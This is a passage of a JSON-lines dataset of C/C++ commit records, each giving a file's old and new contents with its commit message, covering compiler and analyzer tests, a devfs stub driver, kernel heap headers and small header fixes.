/numpy,nguyentu1602\/numpy,Eric89GXL\/numpy,felipebetancur\/numpy,behzadnouri\/numpy,WillieMaddox\/numpy,MaPePeR\/numpy,GrimDerp\/numpy,rajathkumarmp\/numpy,grlee77\/numpy,BMJHayward\/numpy,stuarteberg\/numpy,dwillmer\/numpy,MaPePeR\/numpy,jakirkham\/numpy,bmorris3\/numpy,dwillmer\/numpy,pizzathief\/numpy,pizzathief\/numpy,jakirkham\/numpy,Srisai85\/numpy,chatcannon\/numpy,anntzer\/numpy,ahaldane\/numpy,WillieMaddox\/numpy,grlee77\/numpy,musically-ut\/numpy,groutr\/numpy,jschueller\/numpy,mwiebe\/numpy,charris\/numpy,moreati\/numpy,SiccarPoint\/numpy,charris\/numpy,jorisvandenbossche\/numpy,GrimDerp\/numpy,chatcannon\/numpy,Srisai85\/numpy,Anwesh43\/numpy,stuarteberg\/numpy,rgommers\/numpy,cjermain\/numpy,tynn\/numpy,b-carter\/numpy,abalkin\/numpy,empeeu\/numpy,nguyentu1602\/numpy,drasmuss\/numpy,ESSS\/numpy,MSeifert04\/numpy,pbrod\/numpy,MSeifert04\/numpy,jschueller\/numpy,MichaelAquilina\/numpy,mathdd\/numpy,Dapid\/numpy,cjermain\/numpy,tacaswell\/numpy,Srisai85\/numpy,felipebetancur\/numpy,BMJHayward\/numpy,joferkington\/numpy,MichaelAquilina\/numpy,bertrand-l\/numpy,hainm\/numpy,mathdd\/numpy,argriffing\/numpy,skwbc\/numpy,njase\/numpy,ViralLeadership\/numpy,maniteja123\/numpy,SunghanKim\/numpy,BMJHayward\/numpy,BabeNovelty\/numpy,pyparallel\/numpy,ssanderson\/numpy,bmorris3\/numpy,pyparallel\/numpy,KaelChen\/numpy,ViralLeadership\/numpy,SunghanKim\/numpy,mhvk\/numpy,sonnyhu\/numpy,BMJHayward\/numpy,rherault-insa\/numpy,chiffa\/numpy,anntzer\/numpy,numpy\/numpy,Yusa95\/numpy,jorisvandenbossche\/numpy,drasmuss\/numpy,simongibbons\/numpy,bmorris3\/numpy,leifdenby\/numpy,githubmlai\/numpy,ddasilva\/numpy,SunghanKim\/numpy,ViralLeadership\/numpy,ChristopherHogan\/numpy,WarrenWeckesser\/numpy,nbeaver\/numpy,endolith\/numpy,MSeifert04\/numpy,njase\/numpy,Dapid\/numpy,SiccarPoint\/numpy,moreati\/numpy,Linkid\/numpy,AustereCuriosity\/numpy,madphysicist\/numpy,ContinuumIO\/numpy,rajathkumarmp\/numpy,ChanderG\/numpy,cjermain\/numpy,KaelChen\/numpy,behzadnouri\/numpy,WillieMaddox\/numpy,CMartelLML\/numpy,jankoslavic\/numpy,MaPePeR\/numpy,rherault-insa\/numpy,BabeNovelty\/numpy,ddasilva\/numpy,simongibbons\/numpy,rgommers\/numpy,mhvk\/numpy,bringingheavendown\/numpy,pizzathief\/numpy,hainm\/numpy,WarrenWeckesser\/numpy,rudimeier\/numpy,Linkid\/numpy,SunghanKim\/numpy,utke1\/numpy,GaZ3ll3\/numpy,drasmuss\/numpy,ChristopherHogan\/numpy,utke1\/numpy,rgommers\/numpy,jschueller\/numpy,githubmlai\/numpy,jakirkham\/numpy,dimasad\/numpy,anntzer\/numpy,chiffa\/numpy,Yusa95\/numpy,bmorris3\/numpy,jonathanunderwood\/numpy,has2k1\/numpy,gmcastil\/numpy,kiwifb\/numpy,tynn\/numpy,chatcannon\/numpy,argriffing\/numpy,groutr\/numpy,ContinuumIO\/numpy,pizzathief\/numpy,ESSS\/numpy,ekalosak\/numpy,felipebetancur\/numpy,shoyer\/numpy,Eric89GXL\/numpy,ssanderson\/numpy,jankoslavic\/numpy,skymanaditya1\/numpy,mattip\/numpy,felipebetancur\/numpy,rhythmsosad\/numpy,simongibbons\/numpy,bertrand-l\/numpy,ekalosak\/numpy,sinhrks\/numpy"}
{"commit":"d5b629639feb01dc7f7d15cc5393612acff8f01a","old_file":"tests\/test-driver-decode.c","new_file":"tests\/test-driver-decode.c","old_contents":"\/\/!compile = {cc} {ccflags} -c -o {ofile} {infile} && {cc} {ccflags} -o {outfile} {ofile} {driver} ..\/libdbrew.a -I..\/include\n\n#include <stdio.h>\n#include <stdbool.h>\n#include <string.h>\n#include <stdlib.h>\n\n#include \"dbrew.h\"\n\nint f1(int);\n\/\/ possible jump target\nint f2(int x) { return x; }\n\nint main()\n{\n    \/\/ Decode the function.\n    Rewriter* r = dbrew_new();\n    \/\/ to get rid of changing addresses, assume gen code to be 200 bytes max\n    dbrew_config_function_setname(r, (uintptr_t) f1, \"f1\");\n    dbrew_config_function_setsize(r, (uintptr_t) f1, 200);\n    dbrew_decode_print(r, (uintptr_t) f1, 1);\n\n    return 0;\n}\n","new_contents":"\/\/!compile = as -c -o {ofile} {infile} && {cc} {ccflags} -o {outfile} {ofile} {driver} ..\/libdbrew.a -I..\/include\n\n#include <stdio.h>\n#include <stdbool.h>\n#include <string.h>\n#include <stdlib.h>\n\n#include \"dbrew.h\"\n\nint f1(int);\n\/\/ possible jump target\nint f2(int x) { return x; }\n\nint main()\n{\n    \/\/ Decode the function.\n    Rewriter* r = dbrew_new();\n    \/\/ to get rid of changing addresses, assume gen code to be 200 bytes max\n    dbrew_config_function_setname(r, (uintptr_t) f1, \"f1\");\n    dbrew_config_function_setsize(r, (uintptr_t) f1, 200);\n    dbrew_decode_print(r, (uintptr_t) f1, 1);\n\n    return 0;\n}\n","subject":"Fix Travis for decoder tests","message":"Fix Travis for decoder tests\n\nThe assembler of clang-3.5 in the images used by Travis seems to have\na bug with assembling the \"test\" instruction, resulting in machine\ncode with reversed operands (this does not happen e.g. with clang-3.8).\nAs decoder tests all use assembly files as input, we force use of the\nGNU assembler \"as\" via setting the compile line accordingly for this\ntest class.\n","lang":"C","license":"lgpl-2.1","repos":"lrr-tum\/dbrew,lrr-tum\/dbrew,lrr-tum\/dbrew,lrr-tum\/dbrew,lrr-tum\/dbrew"}
{"commit":"7a321e0489b8bfeb96f42ccef2c453d54a9fa6e5","old_file":"tests\/regression\/02-base\/47-no-threadescape.c","new_file":"tests\/regression\/02-base\/47-no-threadescape.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated \"['base','mallocWrapper','threadflag']\"\n#include <pthread.h>\nint g = 10;\n\nvoid* t(void *v) {\n  int* p = (int*) v;\n  *p = 4711;\n}\n\n\nint main(void){\n  int l = 42;\n\n  pthread_t tid;\n  pthread_create(&tid, NULL, t, (void *)&l);\n  pthread_join(tid, NULL);\n\n  assert(l==42); \/\/UNKNOWN!\n  return 0;\n}\n","subject":"Add failing test without threadescape","message":"Add failing test without threadescape\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bd27e3eb98123cf5f2cee719e527e7ac436eccb9","old_file":"test2\/literals\/int_max.c","new_file":"test2\/literals\/int_max.c","old_contents":"","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\nlong a;\n__typeof(-2147483648) a;\n\nint b;\n__typeof(-2147483647) b;\n\nint c;\n__typeof(2147483647) c;\n\nlong d;\n__typeof(2147483648) d;\n","subject":"Add integer literal type test","message":"Add integer literal type test\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"f9b6386e1f69a8f5b4d69b0f1af75d242bcd71e9","old_file":"src\/game\/detail\/view_input\/sound_effect_modifier.h","new_file":"src\/game\/detail\/view_input\/sound_effect_modifier.h","old_contents":"#pragma once\n#include \"augs\/math\/declare_math.h\"\n#include \"augs\/audio\/distance_model.h\"\n\nstruct sound_effect_modifier {\n\t\/\/ GEN INTROSPECTOR struct sound_effect_modifier\n\treal32 gain = 1.f;\n\treal32 pitch = 1.f;\n\treal32 max_distance = -1.f;\n\treal32 reference_distance = -1.f;\n\treal32 doppler_factor = 1.f;\n\taugs::distance_model distance_model = augs::distance_model::NONE;\n\tint repetitions = 1;\n\tbool fade_on_exit = true;\n\tbool disable_velocity = false;\n\tbool always_direct_listener = false;\n\tpad_bytes<1> pad;\n\t\/\/ END GEN INTROSPECTOR\n};\n","new_contents":"#pragma once\n#include \"augs\/math\/declare_math.h\"\n#include \"augs\/audio\/distance_model.h\"\n\nstruct sound_effect_modifier {\n\t\/\/ GEN INTROSPECTOR struct sound_effect_modifier\n\treal32 gain = 1.f;\n\treal32 pitch = 1.f;\n\treal32 max_distance = -1.f;\n\treal32 reference_distance = -1.f;\n\treal32 doppler_factor = 1.f;\n\tchar repetitions = 1;\n\tbool fade_on_exit = true;\n\tbool disable_velocity = false;\n\tbool always_direct_listener = false;\n\taugs::distance_model distance_model = augs::distance_model::NONE;\n\t\/\/ END GEN INTROSPECTOR\n};\n","subject":"FIx sound(..)modifier compaibility with old maps","message":"FIx sound(..)modifier compaibility with old maps\n","lang":"C","license":"agpl-3.0","repos":"TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia"}
{"commit":"7a5b85dacdc86ec8cf5d32aeea2312189a0a5587","old_file":"src\/forces\/labeller_frame_data.h","new_file":"src\/forces\/labeller_frame_data.h","old_contents":"#ifndef SRC_FORCES_LABELLER_FRAME_DATA_H_\n\n#define SRC_FORCES_LABELLER_FRAME_DATA_H_\n\n#include <Eigen\/Core>\n#include <iostream>\n\nnamespace Forces\n{\n\/**\n * \\brief\n *\n *\n *\/\nclass LabellerFrameData\n{\n public:\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n  LabellerFrameData(double frameTime, Eigen::Matrix4f projection,\n                    Eigen::Matrix4f view)\n    : frameTime(frameTime), projection(projection), view(view),\n      viewProjection(projection * view)\n  {\n  }\n\n  const double frameTime;\n  const Eigen::Matrix4f projection;\n  const Eigen::Matrix4f view;\n  const Eigen::Matrix4f viewProjection;\n\n  Eigen::Vector3f project(Eigen::Vector3f vector) const\n  {\n    Eigen::Vector4f projected =\n        viewProjection * Eigen::Vector4f(vector.x(), vector.y(), vector.z(), 1);\n\n    std::cout << \"projected\" << projected \/ projected.w() << std::endl;\n\n    return projected.head<3>() \/ projected.w();\n  }\n};\n}  \/\/ namespace Forces\n\n#endif  \/\/ SRC_FORCES_LABELLER_FRAME_DATA_H_\n","new_contents":"#ifndef SRC_FORCES_LABELLER_FRAME_DATA_H_\n\n#define SRC_FORCES_LABELLER_FRAME_DATA_H_\n\n#include \"..\/eigen.h\"\n#include <iostream>\n\nnamespace Forces\n{\n\/**\n * \\brief\n *\n *\n *\/\nclass LabellerFrameData\n{\n public:\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n  LabellerFrameData(double frameTime, Eigen::Matrix4f projection,\n                    Eigen::Matrix4f view)\n    : frameTime(frameTime), projection(projection), view(view),\n      viewProjection(projection * view)\n  {\n  }\n\n  const double frameTime;\n  const Eigen::Matrix4f projection;\n  const Eigen::Matrix4f view;\n  const Eigen::Matrix4f viewProjection;\n\n  Eigen::Vector3f project(Eigen::Vector3f vector) const\n  {\n    Eigen::Vector4f projected = mul(viewProjection, vector);\n\n    return projected.head<3>() \/ projected.w();\n  }\n};\n}  \/\/ namespace Forces\n\n#endif  \/\/ SRC_FORCES_LABELLER_FRAME_DATA_H_\n","subject":"Use new mul function in LabellerFrameData::project.","message":"Use new mul function in LabellerFrameData::project.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"58022a61d6882902b9dc22060638f1ac9a6b95bf","old_file":"src\/fs\/driver\/devfs\/devfs_dvfs.c","new_file":"src\/fs\/driver\/devfs\/devfs_dvfs.c","old_contents":"\/**\n * @file devfs_dvfs.c\n * @brief\n * @author Denis Deryugin <deryugin.denis@gmail.com>\n * @version 0.1\n * @date 2015-09-28\n *\/\n\n\/* This is stub *\/\n","new_contents":"\/**\n * @file devfs_dvfs.c\n * @brief\n * @author Denis Deryugin <deryugin.denis@gmail.com>\n * @version 0.1\n * @date 2015-09-28\n *\/\n\n#include <fs\/dvfs.h>\n#include <util\/array.h>\n\nstatic int devfs_destroy_inode(struct inode *inode) {\n\treturn 0;\n}\n\nstatic int devfs_iterate(struct inode *next, struct inode *parent, struct dir_ctx *ctx) {\n\treturn 0;\n}\n\nstatic struct inode *devfs_lookup(char const *name, struct dentry const *dir) {\n\treturn NULL;\n}\n\nstatic int devfs_pathname(struct inode *inode, char *buf, int flags) {\n\treturn 0;\n}\n\nstatic int devfs_mount_end(struct super_block *sb) {\n\treturn 0;\n}\n\nstatic int devfs_open(struct inode *node, struct file *file) {\n\treturn 0;\n}\n\nstatic size_t devfs_read(struct file *desc, void *buf, size_t size) {\n\treturn 0;\n}\n\nstatic int devfs_ioctl(struct file *desc, int request, ...) {\n\treturn 0;\n}\n\nstruct super_block_operations devfs_sbops = {\n\t.destroy_inode = devfs_destroy_inode,\n};\n\nstruct inode_operations devfs_iops = {\n\t.lookup   = devfs_lookup,\n\t.iterate  = devfs_iterate,\n\t.pathname = devfs_pathname,\n};\n\nstruct file_operations devfs_fops = {\n\t.open  = devfs_open,\n\t.read  = devfs_read,\n\t.ioctl = devfs_ioctl,\n};\n\nstatic int devfs_fill_sb(struct super_block *sb, struct block_dev *dev) {\n\tsb->sb_iops = &devfs_iops;\n\tsb->sb_fops = &devfs_fops;\n\tsb->sb_ops  = &devfs_sbops;\n\treturn 0;\n}\n\nstatic struct dumb_fs_driver devfs_dumb_driver = {\n\t.name      = \"devfs\",\n\t.fill_sb   = devfs_fill_sb,\n\t.mount_end = devfs_mount_end,\n};\n\nARRAY_SPREAD_DECLARE(struct dumb_fs_driver *, dumb_drv_tab);\nARRAY_SPREAD_ADD(dumb_drv_tab, &devfs_dumb_driver);\n","subject":"Add fs-related structures and stub functions","message":"devfs: Add fs-related structures and stub functions\n","lang":"C","license":"bsd-2-clause","repos":"Kakadu\/embox,Kakadu\/embox,mike2390\/embox,embox\/embox,gzoom13\/embox,mike2390\/embox,embox\/embox,gzoom13\/embox,mike2390\/embox,mike2390\/embox,Kakadu\/embox,gzoom13\/embox,Kakadu\/embox,gzoom13\/embox,gzoom13\/embox,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,embox\/embox,embox\/embox,Kakadu\/embox,mike2390\/embox,embox\/embox,embox\/embox"}
{"commit":"e5c5c31ef382af0620d4b9f8177e287e00a09fa0","old_file":"src\/tokenizer\/gru_tokenizer_factory_trainer.h","new_file":"src\/tokenizer\/gru_tokenizer_factory_trainer.h","old_contents":"\/\/ This file is part of MorphoDiTa <http:\/\/github.com\/ufal\/morphodita\/>.\n\/\/\n\/\/ Copyright 2015 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include \"common.h\"\n#include \"tokenizer.h\"\n\nnamespace ufal {\nnamespace morphodita {\n\nclass tokenized_sentence {\n  u32string sentence;\n  vector<token_range> tokens;\n};\n\nclass gru_tokenizer_factory_trainer {\n public:\n  static bool train(unsigned version, const vector<tokenized_sentence>& data, ostream& os, string& error);\n};\n\n} \/\/ namespace morphodita\n} \/\/ namespace ufal\n","new_contents":"\/\/ This file is part of MorphoDiTa <http:\/\/github.com\/ufal\/morphodita\/>.\n\/\/\n\/\/ Copyright 2015 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include \"common.h\"\n#include \"tokenizer.h\"\n\nnamespace ufal {\nnamespace morphodita {\n\nstruct tokenized_sentence {\n  u32string sentence;\n  vector<token_range> tokens;\n};\n\nclass gru_tokenizer_factory_trainer {\n public:\n  static bool train(unsigned version, const vector<tokenized_sentence>& data, ostream& os, string& error);\n};\n\n} \/\/ namespace morphodita\n} \/\/ namespace ufal\n","subject":"Make tokenized_sentence a structure (i.e., all fields public).","message":"Make tokenized_sentence a structure (i.e., all fields public).\n","lang":"C","license":"mpl-2.0","repos":"ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita,ufal\/morphodita"}
{"commit":"64cc62d502eca5728de8d9aa431d7e76ce438467","old_file":"test\/Analysis\/stack-addr-ps.c","new_file":"test\/Analysis\/stack-addr-ps.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nvoid* compound_literal(int x) {\n  if (x)\n    return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}} expected-warning{{braces around scalar initializer}}\n  \n  struct s { int z; double y; int w; };\n  return &((struct s){ 2, 0.4, 5 * 8 });\n}\n\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nvoid* compound_literal(int x) {\n  if (x)\n    return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}} expected-warning{{braces around scalar initializer}}\n\n  int* array[] = {};\n  struct s { int z; double y; int w; };\n  return &((struct s){ 2, 0.4, 5 * 8 }); \/\/ expected-warning{{Address of stack memory}}\n}\n\n","subject":"Add missing \"expected warning\". Add compound literal with empty initializer (just to test the analyzer handles it).","message":"Add missing \"expected warning\".\nAdd compound literal with empty initializer (just to test the analyzer handles it).\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58470 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"bade646d8e40457662c195d5b25ae41822c5f35b","old_file":"safe.h","new_file":"safe.h","old_contents":"#ifndef SAFE_H\n#define SAFE_H\n\n#include \"debug.h\"\n\n#ifndef DISABLE_SAFE\n\n#define SAFE_STRINGIFY(x) #x\n#define SAFE_TOSTRING(x) SAFE_STRINGIFY(x)\n#define SAFE_AT __FILE__ \":\" SAFE_TOSTRING(__LINE__) \": \"\n\n#define SAFE_ASSERT(cond) do { \\\n  if (!(cond)) { \\\n    DEBUG_DUMP(0, \"error: \" SAFE_AT \"%m\"); \\\n    DEBUG_BREAK(!(cond)); \\\n  } \\\n} while (0)\n\n#else\n#define SAFE_ASSERT(...)\n#endif\n\n#include <stdint.h>\n\n#define SAFE_NNCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret >= 0); \\\n} while (0)\n\n#define SAFE_NZCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret != 0); \\\n} while (0)\n\n#endif \/* end of include guard: SAFE_H *\/\n","new_contents":"#ifndef SAFE_H\n#define SAFE_H\n\n#include \"debug.h\"\n\n#ifndef DISABLE_SAFE\n\n#define SAFE_STRINGIFY(x) #x\n#define SAFE_TOSTRING(x) SAFE_STRINGIFY(x)\n#define SAFE_AT __FILE__ \":\" SAFE_TOSTRING(__LINE__) \": \"\n\n#define SAFE_ASSERT(cond) do { \\\n  if (!(cond)) { \\\n    DEBUG_DUMP(0, \"error: \" SAFE_AT \"%m\"); \\\n    DEBUG_BREAK(!(cond)); \\\n  } \\\n} while (0)\n\n#else\n#define SAFE_ASSERT(...)\n#endif\n\n#include <stdint.h>\n\n#define SAFE_NNCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret >= 0); \\\n} while (0)\n\n#define SAFE_NZCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret != 0); \\\n} while (0)\n\n#define SAFE_RZCALL(call) do { \\\n  intptr_t ret = (intptr_t) (call); \\\n  SAFE_ASSERT(ret == 0); \\\n} while (0)\n\n#endif \/* end of include guard: SAFE_H *\/\n","subject":"Add SAFE_RZCALL to wrap calls that returns zero.","message":"Add SAFE_RZCALL to wrap calls that returns zero.\n","lang":"C","license":"mit","repos":"chaoran\/fibril,chaoran\/fibril,chaoran\/fibril"}
{"commit":"fa0a3d781ea01c0f790c3af40cc7429ad73af132","old_file":"include\/ParseNode.h","new_file":"include\/ParseNode.h","old_contents":"\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef PARSE_NODE_H\n#define PARSE_NODE_H\n\n#include <list>\n\n#include \"ByteCodeFileWriter.h\"\n#include \"Variables.h\"\n#include \"CompilerException.h\"\n\nclass ParseNode;\n\ntypedef std::list<ParseNode*>::const_iterator NodeIterator;\n\nclass StringPool;\n\nclass ParseNode {\n\tprivate:\n\t\tParseNode* parent;\n\t\tstd::list<ParseNode*> childs;\t\n\tpublic:\n\t\tParseNode() : parent(NULL){};\n\t\tvirtual ~ParseNode();\n\t\tvirtual void write(ByteCodeFileWriter& writer);\n\t\tvirtual void checkVariables(Variables& variables) throw (CompilerException);\n\t\tvirtual void checkStrings(StringPool& pool);\n\t\tvirtual void optimize();\n\t\tvoid addFirst(ParseNode* node);\n\t\tvoid addLast(ParseNode* node);\n\t\tvoid replace(ParseNode* old, ParseNode* node);\n\t\tvoid remove(ParseNode* node);\n\t\tNodeIterator begin();\n\t\tNodeIterator end();\n};\n\n#endif\n","new_contents":"\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#ifndef PARSE_NODE_H\n#define PARSE_NODE_H\n\n#include <list>\n\n#include \"ByteCodeFileWriter.h\"\n#include \"Variables.h\"\n#include \"CompilerException.h\"\n\nclass ParseNode;\n\ntypedef std::list<ParseNode*>::const_iterator NodeIterator;\n\nclass StringPool;\n\nclass ParseNode {\n\tprivate:\n\t\tstd::list<ParseNode*> childs;\t\n\tprotected:\n\t\tParseNode* parent;\n\tpublic:\n\t\tParseNode() : parent(NULL){};\n\t\tvirtual ~ParseNode();\n\t\tvirtual void write(ByteCodeFileWriter& writer);\n\t\tvirtual void checkVariables(Variables& variables) throw (CompilerException);\n\t\tvirtual void checkStrings(StringPool& pool);\n\t\tvirtual void optimize();\n\t\tvoid addFirst(ParseNode* node);\n\t\tvoid addLast(ParseNode* node);\n\t\tvoid replace(ParseNode* old, ParseNode* node);\n\t\tvoid remove(ParseNode* node);\n\t\tNodeIterator begin();\n\t\tNodeIterator end();\n};\n\n#endif\n","subject":"Make parent protected so that the child can know their parents","message":"Make parent protected so that the child can know their parents\n","lang":"C","license":"mit","repos":"vogelsgesang\/eddic,vogelsgesang\/eddic,wichtounet\/eddic,wichtounet\/eddic,vogelsgesang\/eddic,wichtounet\/eddic"}
{"commit":"894133a4b116abcde29ae9a92e5f823af6713083","old_file":"include\/libk\/kmem.h","new_file":"include\/libk\/kmem.h","old_contents":"#ifndef KMEM_H\n#define KMEM_H\n#include <stdbool.h>\n#include <stdint.h>\n#include <arch\/x86\/paging.h>\n#include <libk\/kabort.h>\n\n#define KHEAP_PHYS_ROOT ((void*)0x100000)\n\/\/#define KHEAP_PHYS_END  ((void*)0xc1000000)\n#define KHEAP_END_SENTINEL (NULL)\n\/\/ 1 GB\n#define PHYS_MEMORY_SIZE (1*1024*1024*1024)\n\n#define KHEAP_BLOCK_SLOP 32\n\n#define PAGE_ALIGN(x) ((uint32_t)x >> 12)\n\n\n\nstruct kheap_metadata {\n    size_t size;\n    struct kheap_metadata *next;\n    bool is_free;\n};\n\n\nstruct kheap_metadata *root;\n\nstruct kheap_metadata *kheap_init();\n\nint kheap_extend();\nvoid kheap_install(struct kheap_metadata *root, size_t initial_heap_size);\nvoid *kmalloc(size_t bytes);\nvoid kfree(void *mem);\nvoid kheap_defragment();\n#endif\n","new_contents":"#ifndef KMEM_H\n#define KMEM_H\n#include <stdbool.h>\n#include <stdint.h>\n#include <arch\/x86\/paging.h>\n#include <libk\/kabort.h>\n\n#define KHEAP_PHYS_ROOT ((void*)0x100000)\n\/\/#define KHEAP_PHYS_END  ((void*)0xc1000000)\n#define KHEAP_END_SENTINEL (NULL)\n\n#define KHEAP_BLOCK_SLOP 32\n\n\nstruct kheap_metadata {\n    size_t size;\n    struct kheap_metadata *next;\n    bool is_free;\n};\n\n\nstruct kheap_metadata *root;\n\nstruct kheap_metadata *kheap_init();\n\nint kheap_extend();\nvoid kheap_install(struct kheap_metadata *root, size_t initial_heap_size);\nvoid *kmalloc(size_t bytes);\nvoid kfree(void *mem);\nvoid kheap_defragment();\n#endif\n","subject":"Remove macros which now live in paging.h","message":"Remove macros which now live in paging.h\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth"}
{"commit":"adf0978b3ac91823bf105e78aabb805aaa11e17a","old_file":"src\/gamemodel\/Terrain.h","new_file":"src\/gamemodel\/Terrain.h","old_contents":"#ifndef TERRAIN_H\r\n#define TERRAIN_H\r\n\r\n#include <util\/Math.h>\r\n#include <util\/Random.h>\r\n#include <vector>\r\n#include \"Constants.h\"\r\n\r\nclass Terrain {\r\npublic:\r\n\tTerrain(\r\n\t\tconst float stepLength = constants::TERRAIN_STEP_LENGTH,\r\n\t\tconst float amplitude = constants::TERRAIN_HEIGHT_VARIATION_AMPLITUDE, \r\n\t\tconst float worldInitLength = constants::WORLD_INIT_LENGTH);\r\n\tvirtual ~Terrain();\r\n\r\n\tvoid ensureHasTerrainTo(const float end);\r\n\r\n\tglm::vec2 vertexAtX(const float x) const;\r\n\r\n\t\/\/ Inlining these as performance examples\r\n\tfloat stepLength() const { return _stepLength; }\r\n\tfloat length() const { return float(_vertices.size()) * stepLength() - stepLength(); }\r\n\tconst std::vector<glm::vec2>& Terrain::vertices() const { return _vertices; }\r\n\r\n\tbool isAboveGround(const glm::vec2& pos) const;\r\n\tbool isBelowGround(const glm::vec2& pos) const { return !isAboveGround(pos); }\r\n\r\nprivate:\r\n\tRandom _randomizer;\r\n\tconst float _stepLength;\r\n\tconst float _amplitude;\r\n\tstd::vector<glm::vec2> _vertices;\r\n};\r\n\r\n#endif\r\n","new_contents":"#ifndef TERRAIN_H\r\n#define TERRAIN_H\r\n\r\n#include <util\/Math.h>\r\n#include <util\/Random.h>\r\n#include <vector>\r\n#include \"Constants.h\"\r\n\r\nclass Terrain {\r\npublic:\r\n\tTerrain(\r\n\t\tconst float stepLength = constants::TERRAIN_STEP_LENGTH,\r\n\t\tconst float amplitude = constants::TERRAIN_HEIGHT_VARIATION_AMPLITUDE, \r\n\t\tconst float worldInitLength = constants::WORLD_INIT_LENGTH);\r\n\tvirtual ~Terrain();\r\n\r\n\tvoid ensureHasTerrainTo(const float end);\r\n\r\n\tglm::vec2 vertexAtX(const float x) const;\r\n\r\n\t\/\/ Inlining these as performance examples\r\n\tfloat stepLength() const { return _stepLength; }\r\n\tfloat length() const { return float(_vertices.size()) * stepLength() - stepLength(); }\r\n\tconst std::vector<glm::vec2>& vertices() const { return _vertices; }\r\n\r\n\tbool isAboveGround(const glm::vec2& pos) const;\r\n\tbool isBelowGround(const glm::vec2& pos) const { return !isAboveGround(pos); }\r\n\r\nprivate:\r\n\tRandom _randomizer;\r\n\tconst float _stepLength;\r\n\tconst float _amplitude;\r\n\tstd::vector<glm::vec2> _vertices;\r\n};\r\n\r\n#endif\r\n","subject":"Fix compilation bug on linux","message":"Fix compilation bug on 